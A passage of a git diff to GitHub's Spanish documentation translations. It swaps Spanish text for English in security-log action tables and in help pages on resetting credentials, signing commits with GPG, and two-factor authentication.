}}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access). +| `config.unlock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is unlocked](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %} +| `create` | Triggered when [a new repository is created](/articles/creating-a-new-repository). +| `destroy` | Triggered when [a repository is deleted](/articles/deleting-a-repository).{% ifversion fpt or ghec %} +| `disable` | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %} +| `enable` | Triggered when a repository is re-enabled.{% endif %} +| `remove_member` | Triggered when a {% data variables.product.product_name %} user is [removed from a repository as a collaborator](/articles/removing-a-collaborator-from-a-personal-repository). +| `remove_topic` | Triggered when a repository owner removes a topic from a repository. +| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository). +| `transfer` | Triggered when [a repository is transferred](/articles/how-to-transfer-a-repository). +| `transfer_start` | Triggered when a repository transfer is about to occur. +| `unarchived` | Triggered when a repository owner unarchives a repository. {% ifversion fpt or ghec %} -### acciones de la categoría `sponsors` +### `sponsors` category actions -| Acción | Descripción | -| ----------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `custom_amount_settings_change` | Se activa cuando habilitas o inhabilitas las cantidades personalizadas o cuando cambias la cantidad personalizada sugerida (consulta la secicón "[Administrar tus niveles de patrocinio](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)") | -| `repo_funding_links_file_action (acción de archivo de enlaces de financiamiento del repositorio)` | Se activa cuando cambias el archivo FUNDING de tu repositorio (consulta "[Mostrar un botón de patrocinador en tu repositorio](/articles/displaying-a-sponsor-button-in-your-repository)") | -| `sponsor_sponsorship_cancel (cancelación del patrocinio del patrocinador)` | Se activa cuando cancelas un patrocinio (consulta "[Bajar de categoría un patrocinio](/articles/downgrading-a-sponsorship)") | -| `sponsor_sponsorship_create (creación de un patrocinio de patrocinador)` | Se activa cuando patrocinas una cuenta (consulta la sección "[Patrocinar a un contribuyente de código abierto](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)") | -| `sponsor_sponsorship_payment_complete` | Se activa después de que patrocinas una cuenta y se procesa tu pago (consulta la sección "[Patrocinar a un contribuyente de código abierto](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)") | -| `sponsor_sponsorship_preference_change (cambio de preferencia de patrocinio de patrocinador)` | Se activa cuando cambias si deseas recibir actualizaciones por correo electrónico de un programador patrocinado o no (consulta la sección "[Administrar tu patrocinio](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)") | -| `sponsor_sponsorship_tier_change (cambiar nivel de patrocinio de patrocinador)` | Se activa cuando subes o bajas de categoría tu patrocinio (consulta "[Subir de categoría un patrocinio](/articles/upgrading-a-sponsorship)" y "[Bajar de categoría un patrocinio](/articles/downgrading-a-sponsorship)") | -| `sponsored_developer_approve (aprobación de programador patrocinado)` | Se activa cuando se aprueba tu cuenta de {% data variables.product.prodname_sponsors %} (consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") | -| `sponsored_developer_create (creación de programador patrocinado)` | Se activa cuando se crea tu cuenta de {% data variables.product.prodname_sponsors %} (consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") | -| `sponsored_developer_disable` | Se activa cuando se inhabilita tu cuenta de {% data variables.product.prodname_sponsors %} -| `sponsored_developer_redraft` | Se activa cuando tu cuenta de {% data variables.product.prodname_sponsors %} se devuelve a un estado de borrador desde un estado aprobado | -| `sponsored_developer_profile_update (actualización del perfil de programador patrocinado)` | Se activa cuando editas tu perfil de desarrollador patrocinado (consulta la sección "[Editar tus detalles de perfil para {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)") | -| `sponsored_developer_request_approval (aprobación de solicitud de programador patrocinado)` | Se activa cuando emites tu solicitud de {% data variables.product.prodname_sponsors %} para su aprobación (consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") | -| `sponsored_developer_tier_description_update (actualización de descripción del nivel de programador patrocinado)` | Se activa cuando cambias la descripción de un nivel de patrocinio (consulta la sección "[Administrar tus niveles de patrocinio](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)") | -| `sponsored_developer_update_newsletter_send (envío de boletín de actualización del programador patrocinado)` | Se activa cuando envías una actualización de correo electrónico a tus patrocinadores (consulta la sección "[Contactar a tus patrocinadores](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)") | -| `waitlist_invite_sponsored_developer (invitación a la lista de espera de programadores patrocinados)` | Se activa cuando te invitan a unirte a {% data variables.product.prodname_sponsors %} desde la lista de espera (consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") | -| `waitlist_join (incorporación a la lista de espera)` | Se activa cuando te unes a la lista de espera para convertirte en un desarrollador patrocinado (consulta la sección "[Configurar {% data variables.product.prodname_sponsors %} para tu cuenta de usuario](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") | +| Action | Description +|------------------|------------------- +| `custom_amount_settings_change` | Triggered when you enable or disable custom amounts, or when you change the suggested custom amount (see "[Managing your sponsorship tiers](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)") +| `repo_funding_links_file_action` | Triggered when you change the FUNDING file in your repository (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)") +| `sponsor_sponsorship_cancel` | Triggered when you cancel a sponsorship (see "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)") +| `sponsor_sponsorship_create` | Triggered when you sponsor an account (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)") +| `sponsor_sponsorship_payment_complete` | Triggered after you sponsor an account and your payment has been processed (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)") +| `sponsor_sponsorship_preference_change` | Triggered when you change whether you receive email updates from a sponsored developer (see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)") +| `sponsor_sponsorship_tier_change` | Triggered when you upgrade or downgrade your sponsorship (see "[Upgrading a sponsorship](/articles/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)") +| `sponsored_developer_approve` | Triggered when your {% data variables.product.prodname_sponsors %} account is approved (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") +| `sponsored_developer_create` | Triggered when your {% data variables.product.prodname_sponsors %} account is created (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") +| `sponsored_developer_disable` | Triggered when your {% data variables.product.prodname_sponsors %} account is disabled +| `sponsored_developer_redraft` | Triggered when your {% data variables.product.prodname_sponsors %} account is returned to draft state from approved state +| `sponsored_developer_profile_update` | Triggered when you edit your sponsored developer profile (see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)") +| `sponsored_developer_request_approval` | Triggered when you submit your application for {% data variables.product.prodname_sponsors %} for approval (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") +| `sponsored_developer_tier_description_update` | Triggered when you change the description for a sponsorship tier (see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)") +| `sponsored_developer_update_newsletter_send` | Triggered when you send an email update to your sponsors (see "[Contacting your sponsors](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)") +| `waitlist_invite_sponsored_developer` | Triggered when you are invited to join {% data variables.product.prodname_sponsors %} from the waitlist (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") +| `waitlist_join` | Triggered when you join the waitlist to become a sponsored developer (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)") {% endif %} {% ifversion fpt or ghec %} -### acciones de la categoría `successor_invitation` +### `successor_invitation` category actions -| Acción | Descripción | -| ---------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `accept` | Se activa cuando aceptas una invitación de sucesión (consulta la secicón "[Mantener continuidad en la titularidad de los repositorios de tu cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") | -| `cancel` | Se activa cuando cancelas una invitación de sucesión (consulta la secicón "[Mantener continuidad en la titularidad de los repositorios de tu cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") | -| `create (crear)` | Se activa cuando creas una invitación de sucesión (consulta la secicón "[Mantener continuidad en la titularidad de los repositorios de tu cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") | -| `decline` | Se activa cuando rechazas una invitación de sucesión (consulta la secicón "[Mantener continuidad en la titularidad de los repositorios de tu cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") | -| `revoke` | Se activa cuando retiras una invitación de sucesión (consulta la secicón "[Mantener continuidad en la titularidad de los repositorios de tu cuenta de usuario](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") | +| Action | Description +|------------------|------------------- +| `accept` | Triggered when you accept a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") +| `cancel` | Triggered when you cancel a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") +| `create` | Triggered when you create a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") +| `decline` | Triggered when you decline a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") +| `revoke` | Triggered when you revoke a succession invitation (see "[Maintaining ownership continuity of your user account's repositories](/github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories)") {% endif %} {% ifversion ghes or ghae %} -### acciones de la categoría `team` +### `team` category actions -| Acción | Descripción | -| ------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -| `add_member (agregar miembro)` | Se activa cuando un miembro de una organización a la que perteneces te [agrega a un equipo](/articles/adding-organization-members-to-a-team). | -| `add_repository (agregar repositorio)` | Se activa cuando se le otorga el control de un repositorio a un equipo del que eres miembro. | -| `create (crear)` | Se activa cuando se crea un equipo nuevo en una organización a la que perteneces. | -| `destroy (destruir)` | Se activa cuando un equipo del que eres miembro se elimina de la organización. | -| `remove_member (eliminar miembro)` | Se activa cuando un miembro de una organización se [elimina de un equipo](/articles/removing-organization-members-from-a-team) del que eres miembro. | -| `remove_repository (eliminar repositorio)` | Se activa cuando un repositorio deja de estar bajo el control de un equipo. | +| Action | Description +|------------------|------------------- +| `add_member` | Triggered when a member of an organization you belong to [adds you to a team](/articles/adding-organization-members-to-a-team). +| `add_repository` | Triggered when a team you are a member of is given control of a repository. +| `create` | Triggered when a new team in an organization you belong to is created. +| `destroy` | Triggered when a team you are a member of is deleted from the organization. +| `remove_member` | Triggered when a member of an organization is [removed from a team](/articles/removing-organization-members-from-a-team) you are a member of. +| `remove_repository` | Triggered when a repository is no longer under a team's control. {% endif %} {% ifversion not ghae %} -### acciones de la categoría `two_factor_authentication` +### `two_factor_authentication` category actions -| Acción | Descripción | -| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------ | -| `enabled (habilitado)` | Se activa cuando se habilita la [autenticación de dos factores](/articles/securing-your-account-with-two-factor-authentication-2fa). | -| `disabled (inhabilitado)` | Se activa cuando se inhabilita la autenticación de dos factores. | +| Action | Description +|------------------|------------------- +| `enabled` | Triggered when [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) is enabled. +| `disabled` | Triggered when two-factor authentication is disabled. {% endif %} -### acciones de la categoría `user` +### `user` category actions -| Acción | Descripción | -| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `add_email (agregar correo electrónico)` | Se activa cuando | -| {% ifversion not ghae %}[agregas una dirección de correo electrónico nueva](/articles/changing-your-primary-email-address){% else %}agregas una dirección de correo electrónico nueva{% endif %}.{% ifversion fpt or ghec %} | | -| `codespaces_trusted_repo_access_granted` | Se activa cuando \[permites que los codespaces que creas para un repositorio accedan a otros repositorios que pertenezcan a tu cuenta de usuario\](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. | -| `codespaces_trusted_repo_access_revoked` | Se activa cuando \[dejas de permitir que los codespaces que creas para un repositorio accedan a otros repositorios que pertenezcan a tu cuenta de usuario\](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. |{% endif %} -| `create (crear)` | Se activa cuando creas una cuenta de usuario nueva.{% ifversion not ghae %} -| `change_password (cambiar contraseña)` | Se activa cuando cambias tu contraseña. | -| `forgot_password (olvidé la contraseña)` | Se activa cuando pides [un restablecimiento de contraseña](/articles/how-can-i-reset-my-password).{% endif %} -| `hide_private_contributions_count (ocultar conteo de contribuciones privadas)` | Se activa cuando [ocultas contribuciones privadas en tu perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile). | -| `login` | Triggered when you log in to {% data variables.product.product_location %}.{% ifversion ghes or ghae %} +| Action | Description +|--------------------|--------------------- +| `add_email` | Triggered when you {% ifversion not ghae %}[add a new email address](/articles/changing-your-primary-email-address){% else %}add a new email address{% endif %}.{% ifversion fpt or ghec %} +| `codespaces_trusted_repo_access_granted` | Triggered when you [allow the codespaces you create for a repository to access other repositories owned by your user account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. +| `codespaces_trusted_repo_access_revoked` | Triggered when you [disallow the codespaces you create for a repository to access other repositories owned by your user account](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces. {% endif %} +| `create` | Triggered when you create a new user account.{% ifversion not ghae %} +| `change_password` | Triggered when you change your password. +| `forgot_password` | Triggered when you ask for [a password reset](/articles/how-can-i-reset-my-password).{% endif %} +| `hide_private_contributions_count` | Triggered when you [hide private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile). +| `login` | Triggered when you log in to {% data variables.product.product_location %}.{% ifversion ghes or ghae %} +`mandatory_message_viewed` | Triggered when you view a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %} +| `failed_login` | Triggered when you failed to log in successfully. +| `remove_email` | Triggered when you remove an email address. +| `rename` | Triggered when you rename your account.{% ifversion fpt or ghec %} +| `report_content` | Triggered when you [report an issue or pull request, or a comment on an issue, pull request, or commit](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %} +| `show_private_contributions_count` | Triggered when you [publicize private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %} +| `two_factor_requested` | Triggered when {% data variables.product.product_name %} asks you for [your two-factor authentication code](/articles/accessing-github-using-two-factor-authentication).{% endif %} +### `user_status` category actions -`mandatory_message_viewed` | Se activa cuando ves un mensaje obligatorio (consulta la sección "[Personalizar los mensajes de usuario](/admin/user-management/customizing-user-messages-for-your-enterprise)" para obtener más detalles) | |{% endif %}| | `failed_login` | Se activa cuando fallas en ingresar con éxito. | `remove_email` | Se activa cuando eliminas una dirección de correo electrónico. | `rename` | Triggered when you rename your account.{% ifversion fpt or ghec %} | `report_content` | Triggered when you [report an issue or pull request, or a comment on an issue, pull request, or commit](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam).{% endif %} | `show_private_contributions_count` | Triggered when you [publicize private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile).{% ifversion not ghae %} | `two_factor_requested` | Triggered when {% data variables.product.product_name %} asks you for [your two-factor authentication code](/articles/accessing-github-using-two-factor-authentication).{% endif %} - -### acciones de la categoría `user_status` - -| Acción | Descripción | -| -------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `actualización` | Se activa cuando estableces o cambias el estado en tu perfil. Para obtener más información, consulta "[Configurar un estado](/articles/personalizing-your-profile/#setting-a-status)". | -| `destroy (destruir)` | Se activa cuando eliminas el estado de tu perfil. | +| Action | Description +|--------------------|--------------------- +| `update` | Triggered when you set or change the status on your profile. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)." +| `destroy` | Triggered when you clear the status on your profile. diff --git a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md index dba724f541..e1b972b591 100644 --- a/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md +++ b/translations/es-ES/content/authentication/keeping-your-account-and-data-secure/updating-your-github-access-credentials.md @@ -1,6 +1,6 @@ --- -title: Actualizar tus credenciales de acceso de GitHub -intro: 'Las credenciales de {% data variables.product.product_name %} no solo incluyen{% ifversion not ghae %} tu contraseña, sino también{% endif %} los tokens de acceso, llaves de SSH, y tokens de la API de la aplicación que utilizas para comunicarte con {% data variables.product.product_name %}. Si lo necesitas, puedes restablecer todas estas credenciales de acceso tú mismo.' +title: Updating your GitHub access credentials +intro: '{% data variables.product.product_name %} credentials include{% ifversion not ghae %} not only your password, but also{% endif %} the access tokens, SSH keys, and application API tokens you use to communicate with {% data variables.product.product_name %}. Should you have the need, you can reset all of these access credentials yourself.' redirect_from: - /articles/rolling-your-credentials/ - /articles/how-can-i-reset-my-password/ @@ -15,56 +15,57 @@ versions: topics: - Identity - Access management -shortTitle: Actualizar las credenciales de acceso +shortTitle: Update access credentials --- - {% ifversion not ghae %} -## Solicitar una contraseña nueva +## Requesting a new password 1. To request a new password, visit {% ifversion fpt or ghec %}https://{% data variables.product.product_url %}/password_reset{% else %}`https://{% data variables.product.product_url %}/password_reset`{% endif %}. -2. Enter the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then click **Send password reset email.** The email will be sent to the backup email address if you have one configured. ![Diálogo de solicitud de correo electrónico de restablecimiento de contraseña](/assets/images/help/settings/password-recovery-email-request.png) -3. Te enviaremos por correo electrónico un enlace que te permitirá restablecer la contraseña. Debes hacer clic en este enlace dentro de las 3 horas posteriores a haber recibido el correo electrónico. Si no recibiste un correo electrónico de nuestra parte, asegúrate de revisar la carpeta de spam. -4. Si habilitaste la autenticación bifactorial, se te pedirán tus credenciales de 2FA. Teclea tus credenciales bifactoriales o uno de tus códigos de recuperación de 2FA y haz clic en **Verificar**. ![Mensaje de autenticación bifactorial](/assets/images/help/2fa/2fa-password-reset.png) -5. Teclea una contraseña nueva, confírmala y haz clic en **Cambiar contraseña**. Para recibir ayuda para crear una contraseña segura, consulta "[Crear una contraseña segura](/articles/creating-a-strong-password)." +2. Enter the email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, then click **Send password reset email.** The email will be sent to the backup email address if you have one configured. + ![Password reset email request dialog](/assets/images/help/settings/password-recovery-email-request.png) +3. We'll email you a link that will allow you to reset your password. You must click on this link within 3 hours of receiving the email. If you didn't receive an email from us, make sure to check your spam folder. +4. If you have enabled two-factor authentication, you will be prompted for your 2FA credentials. Type your 2FA credentials or one of your 2FA recovery codes and click **Verify**. + ![Two-factor authentication prompt](/assets/images/help/2fa/2fa-password-reset.png) +5. Type a new password, confirm your new password, and click **Change password**. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)." {% ifversion fpt or ghec %}![Password recovery box](/assets/images/help/settings/password-recovery-page.png){% else %} - ![Casilla de recuperación de contraseña](/assets/images/enterprise/settings/password-recovery-page.png){% endif %} + ![Password recovery box](/assets/images/enterprise/settings/password-recovery-page.png){% endif %} {% tip %} -Para evitar perder tu contraseña en el futuro, te sugerimos utilizar un administrador de contraseñas seguro, tal como [LastPass](https://lastpass.com/) o [1Password](https://1password.com/). +To avoid losing your password in the future, we suggest using a secure password manager, like [LastPass](https://lastpass.com/) or [1Password](https://1password.com/). {% endtip %} -## Cambiar una contraseña existente +## Changing an existing password {% data reusables.repositories.blocked-passwords %} 1. {% data variables.product.signin_link %} to {% data variables.product.product_name %}. {% data reusables.user_settings.access_settings %} {% data reusables.user_settings.security %} -4. En "Change password" (Cambiar contraseña), escribe tu contraseña antigua, una contraseña segura nueva y confirma tu contraseña nueva. Para recibir ayuda para crear una contraseña segura, consulta "[Crear una contraseña segura](/articles/creating-a-strong-password)" -5. Haz clic en **Update password** (Actualizar contraseña). +4. Under "Change password", type your old password, a strong new password, and confirm your new password. For help creating a strong password, see "[Creating a strong password](/articles/creating-a-strong-password)" +5. Click **Update password**. {% tip %} -Para mayor seguridad, habilita la autenticación de dos factores además de cambiar la contraseña. Consulta [Acerca de la autenticación de dos factores](/articles/about-two-factor-authentication) para obtener más detalles. +For greater security, enable two-factor authentication in addition to changing your password. See [About two-factor authentication](/articles/about-two-factor-authentication) for more details. {% endtip %} {% endif %} -## Actualizar tus tokens de acceso +## Updating your access tokens -Consulta "[Revisar tus integraciones autorizadas](/articles/reviewing-your-authorized-integrations)" para recibir indicaciones sobre revisar y eliminar tokens de acceso. Para generar tokens de acceso nuevos, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)". +See "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations)" for instructions on reviewing and deleting access tokens. To generate new access tokens, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." -## Actualizar tus claves SSH +## Updating your SSH keys -Consulta "[Revisar tus claves SSH](/articles/reviewing-your-ssh-keys)" para obtener indicaciones sobre la revisar y eliminar claves SSH. Para generar y agregar claves SSH nuevas, consulta "[Generar una clave SSH](/articles/generating-an-ssh-key)". +See "[Reviewing your SSH keys](/articles/reviewing-your-ssh-keys)" for instructions on reviewing and deleting SSH keys. To generate and add new SSH keys, see "[Generating an SSH key](/articles/generating-an-ssh-key)." -## Restablecer tokens API +## Resetting API tokens -Si tienes alguna aplicación registrada con {% data variables.product.product_name %}, querrás restablecer sus tokens de OAuth. Para obtener más información, consulta la terminal de "[Restablecer una autorización](/rest/reference/apps#reset-an-authorization)". +If you have any applications registered with {% data variables.product.product_name %}, you'll want to reset their OAuth tokens. For more information, see the "[Reset an authorization](/rest/reference/apps#reset-an-authorization)" endpoint. {% ifversion not ghae %} -## Evitar el acceso no autorizado +## Preventing unauthorized access -Para obtener más sugerencias acerca de proteger tu cuenta y evitar el acceso sin autorización, consulta "[Evitar el acceso sin autorización](/articles/preventing-unauthorized-access)". +For more tips on securing your account and preventing unauthorized access, see "[Preventing unauthorized access](/articles/preventing-unauthorized-access)." {% endif %} diff --git a/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-commits.md b/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-commits.md index 0ef5587eec..ad03fae2b2 100644 --- a/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-commits.md +++ b/translations/es-ES/content/authentication/managing-commit-signature-verification/signing-commits.md @@ -1,6 +1,6 @@ --- -title: Firmar confirmaciones -intro: Puedes firmar las confirmaciones localmente utilizando GPG o S/MIME. +title: Signing commits +intro: You can sign commits locally using GPG or S/MIME. redirect_from: - /articles/signing-commits-and-tags-using-gpg/ - /articles/signing-commits-using-gpg/ @@ -16,45 +16,45 @@ topics: - Identity - Access management --- - {% data reusables.gpg.desktop-support-for-commit-signing %} {% tip %} **Tips:** -Para configurar tu cliente Git para firmar confirmaciones por defecto de un repositorio local, en versiones Git 2.0.0 y superiores, ejecuta `git config commit.gpgsign true`. Para firmar todas las confirmaciones por defecto en cualquier repositorio local en tu computadora, ejecuta `git config --global commit.gpgsign true`. +To configure your Git client to sign commits by default for a local repository, in Git versions 2.0.0 and above, run `git config commit.gpgsign true`. To sign all commits by default in any local repository on your computer, run `git config --global commit.gpgsign true`. -Para almacenar tus contraseña de llave GPG para no tener que ingresarla cada vez que firmas una confirmación, recomendamos utilizando las siguientes herramientas: - - Para los usuarios de Mac, la [GPG Suite](https://gpgtools.org/) te permite almacenar tu contraseña de llave GPG en la keychain de Mac OS. - - Para los usuarios de Windows, [Gpg4win](https://www.gpg4win.org/) se integra con otras herramientas de Windows. +To store your GPG key passphrase so you don't have to enter it every time you sign a commit, we recommend using the following tools: + - For Mac users, the [GPG Suite](https://gpgtools.org/) allows you to store your GPG key passphrase in the Mac OS Keychain. + - For Windows users, the [Gpg4win](https://www.gpg4win.org/) integrates with other Windows tools. -También puedes configurar de forma manual [gpg-agent](http://linux.die.net/man/1/gpg-agent) para guardar tu contraseña de llave GPG, pero esta no se integra con la keychain de Mac OS como ssh-agent y requiere mayor configuración. +You can also manually configure [gpg-agent](http://linux.die.net/man/1/gpg-agent) to save your GPG key passphrase, but this doesn't integrate with Mac OS Keychain like ssh-agent and requires more setup. {% endtip %} -Si tienes múltiples llaves o estás intentando firmar confirmaciones o etiquetas con una llave que no coincide con tu identidad de persona que confirma el cambio, deberías [informarle a Git acerca de tu llave de firma](/articles/telling-git-about-your-signing-key). +If you have multiple keys or are attempting to sign commits or tags with a key that doesn't match your committer identity, you should [tell Git about your signing key](/articles/telling-git-about-your-signing-key). -1. Cuando confirmas los cambios en tu rama local, agrega la marca -S al comando de confirmación de Git: +1. When committing changes in your local branch, add the -S flag to the git commit command: ```shell - $ git commit -S -m your commit message + $ git commit -S -m "your commit message" # Creates a signed commit ``` -2. Si estás utilizando GPG, después de crear tu confirmación, proporciona la contraseña que configuraste cuando [generaste tu llave GPG](/articles/generating-a-new-gpg-key). -3. Cuando terminaste de crear confirmaciones de forma local, súbelas a tu repositorio remoto en {% data variables.product.product_name %}: +2. If you're using GPG, after you create your commit, provide the passphrase you set up when you [generated your GPG key](/articles/generating-a-new-gpg-key). +3. When you've finished creating commits locally, push them to your remote repository on {% data variables.product.product_name %}: ```shell $ git push # Pushes your local commits to the remote repository ``` -4. En {% data variables.product.product_name %}, desplázate hasta la solicitud de extracción. +4. On {% data variables.product.product_name %}, navigate to your pull request. {% data reusables.repositories.review-pr-commits %} -5. Para ver información más detallada acerca de la firma verificada, haz clic en Verified (Verificada). ![Confirmación firmada](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png) +5. To view more detailed information about the verified signature, click Verified. +![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png) -## Leer más +## Further reading -* "[Comprobar llaves GPG existentes](/articles/checking-for-existing-gpg-keys)" -* "[Generar una llave GPG nueva](/articles/generating-a-new-gpg-key)" -* "[Agregar una nueva llave GPG a tu cuenta de GitHub](/articles/adding-a-new-gpg-key-to-your-github-account)" -* "[Informar a Git sobre tu llave de firma](/articles/telling-git-about-your-signing-key)" -* "[Asociar un correo electrónico con tu llave GPG](/articles/associating-an-email-with-your-gpg-key)" -* "[Firmar etiquetas](/articles/signing-tags)" +* "[Checking for existing GPG keys](/articles/checking-for-existing-gpg-keys)" +* "[Generating a new GPG key](/articles/generating-a-new-gpg-key)" +* "[Adding a new GPG key to your GitHub account](/articles/adding-a-new-gpg-key-to-your-github-account)" +* "[Telling Git about your signing key](/articles/telling-git-about-your-signing-key)" +* "[Associating an email with your GPG key](/articles/associating-an-email-with-your-gpg-key)" +* "[Signing tags](/articles/signing-tags)" diff --git a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md index d1919afd50..e0a5f58353 100644 --- a/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md +++ b/translations/es-ES/content/authentication/securing-your-account-with-two-factor-authentication-2fa/about-two-factor-authentication.md @@ -1,6 +1,6 @@ --- -title: Acerca de la autenticación de dos factores -intro: '{% data reusables.two_fa.about-2fa %} Con la 2FA, tendrás que ingresar con tu nombre de usuario y contraseña y proporcionar otra forma de autenticación que solo tú sepas o a la que solo tú tengas acceso.' +title: About two-factor authentication +intro: '{% data reusables.two_fa.about-2fa %} With 2FA, you have to log in with your username and password and provide another form of authentication that only you know or have access to.' redirect_from: - /articles/about-two-factor-authentication - /github/authenticating-to-github/about-two-factor-authentication @@ -11,35 +11,34 @@ versions: ghec: '*' topics: - 2FA -shortTitle: Acerca de la 2FA +shortTitle: About 2FA --- - 